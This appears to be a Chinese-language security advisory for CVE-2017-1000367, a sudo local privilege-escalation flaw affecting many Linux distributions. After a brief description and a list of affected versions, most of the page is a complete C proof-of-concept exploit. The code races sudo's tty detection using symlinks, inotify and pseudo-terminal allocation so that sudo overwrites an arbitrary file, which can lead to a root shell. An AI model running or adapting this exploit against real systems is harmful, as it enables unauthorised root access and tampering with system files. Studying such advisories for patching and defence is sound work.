CVE-2017-1000367

admin

2017年5月30日,国外安全研究人员发现Linux环节下，可以通过sudo实现本地提权漏洞，漏洞编号为CVE-2017-1000367，该漏洞几乎影响了所有Linux系统。
具体详情如下:                                   
                                          

---

漏洞编号:  
CVE-2017-1000367
漏洞名称:  
Sudo本地提权漏洞
官方评级:
高危
漏洞描述:
当确定tty时，Sudo没有正确解析/ proc / [pid] / stat的内容，本地攻击者可能会使用此方法来覆盖文件系统上的任何文件，从而绕过预期权限或获取root shell。
漏洞利用条件和方式:  
本地利用
漏洞影响范围:  


Sudo 1.8.6p7 到 1.8.20

• Red Hat Enterprise Linux 6 (sudo)  
• Red Hat Enterprise Linux 7 (sudo)  
• Red Hat Enterprise Linux Server (v. 5 ELS) (sudo)  
• Debian wheezy  
• Debian jessie  
• Debian stretch  
• Debian sid  
• Ubuntu 17.04  
• Ubuntu 16.10  
• Ubuntu 16.04 LTS  
• Ubuntu 14.04 LTS  
• SUSE Linux Enterprise Software Development Kit 12-SP2  
• SUSE Linux Enterprise Server for Raspberry Pi 12-SP2  
• SUSE Linux Enterprise Server 12-SP2  
• SUSE Linux Enterprise Desktop 12-SP2  
• OpenSuse  
  
  

1. #include <errno.h>
   
2. #include <linux/sched.h>
   
3. #include <pty.h>
   
4. #include <sched.h>
   
5. #include <signal.h>
   
6. #include <stdio.h>
   
7. #include <stdlib.h>
   
8. #include <string.h>
   
9. #include <sys/inotify.h>
   
10. #include <sys/resource.h>
    
11. #include <sys/stat.h>
    
12. #include <sys/types.h>
    
13. #include <unistd.h>
    
14. 
    
15. #define EVENT_SIZE  ( sizeof (struct inotify_event) )
    
16. #define EVENT_BUF_LEN     ( 1024 * ( EVENT_SIZE + 16 ) )
    
17. 
    
18. 
    
19. int main( )
    
20. {
    
21. 
    
22.         int length, i = 0;
    
23.   int fd;
    
24.   int wd;
    
25.   char buffer[EVENT_BUF_LEN];
    
26. 
    
27.         int master, slave;
    
28.         char pts_path[256];
    
29. 
    
30.         struct sched_param params;
    
31.         params.sched_priority = 0;
    
32. 
    
33.         mkdir("/dev/shm/_tmp", 755);
    
34.         symlink(pts_path, "/dev/shm/_tmp/_tty");
    
35.         symlink("/usr/bin/sudo", "/dev/shm/_tmp/     34873 ");
    
36. 
    
37.         fd = inotify_init();
    
38.         wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE );
    
39. 
    
40.         pid_t pid = fork();
    
41.         setpriority(PRIO_PROCESS, pid, 19);
    
42.         sched_setscheduler(pid, SCHED_IDLE, &#182;ms);
    
43.        
    
44.         if(pid == 0) {
    
45.                 execlp("/dev/shm/_tmp/     34873 ", "sudo", "--\nHELLO\nWORLD\n", NULL);
    
46.         }else{
    
47. 
    
48.           length = read( fd, buffer, EVENT_BUF_LEN );
    
49.           while ( i < length ) {
    
50.                         struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ];
    
51.                         if ( event->len ) {
    
52.               if ( event->mask & IN_OPEN ) {
    
53.                                         kill(pid, SIGSTOP);
    
54. 
    
55.                                         inotify_rm_watch( fd, wd );
    
56.                                         close( fd );
    
57. 
    
58.                                         while(strcmp(pts_path,"/dev/pts/57")){
    
59.                                                 openpty(&master, &slave, &pts_path[0], NULL, NULL);
    
60.                                         };
    
61.                                         kill(pid, SIGCONT);
    
62. 
    
63.                                 }else if ( event->mask & IN_CLOSE_NOWRITE ) {
    
64. 
    
65.                                         kill(pid, SIGSTOP);
    
66. 
    
67.                                         inotify_rm_watch( fd, wd );
    
68.                                         close( fd );
    
69. 
    
70.                                         unlink("/dev/shm/_tmp/_tty");
    
71.                                         symlink("/etc/PWN", "/dev/shm/_tmp/_tty");
    
72.                                         kill(pid, SIGCONT);
    
73. 
    
74.                                         break;
    
75. 
    
76. 
    
77.               }
    
78.             }
    
79.             i += EVENT_SIZE + event->len;
    
80.           }
    
81. 
    
82. }
    
83. 
    
84.         unlink("/dev/shm/_tmp/_tty");
    
85.         unlink("/dev/shm/_tmp/     34873 ");
    
86.         rmdir("/dev/shm/_tmp");
    
87.         close(master);
    
88.         close(slave);
    
89. 
    
90. }
    

复制代码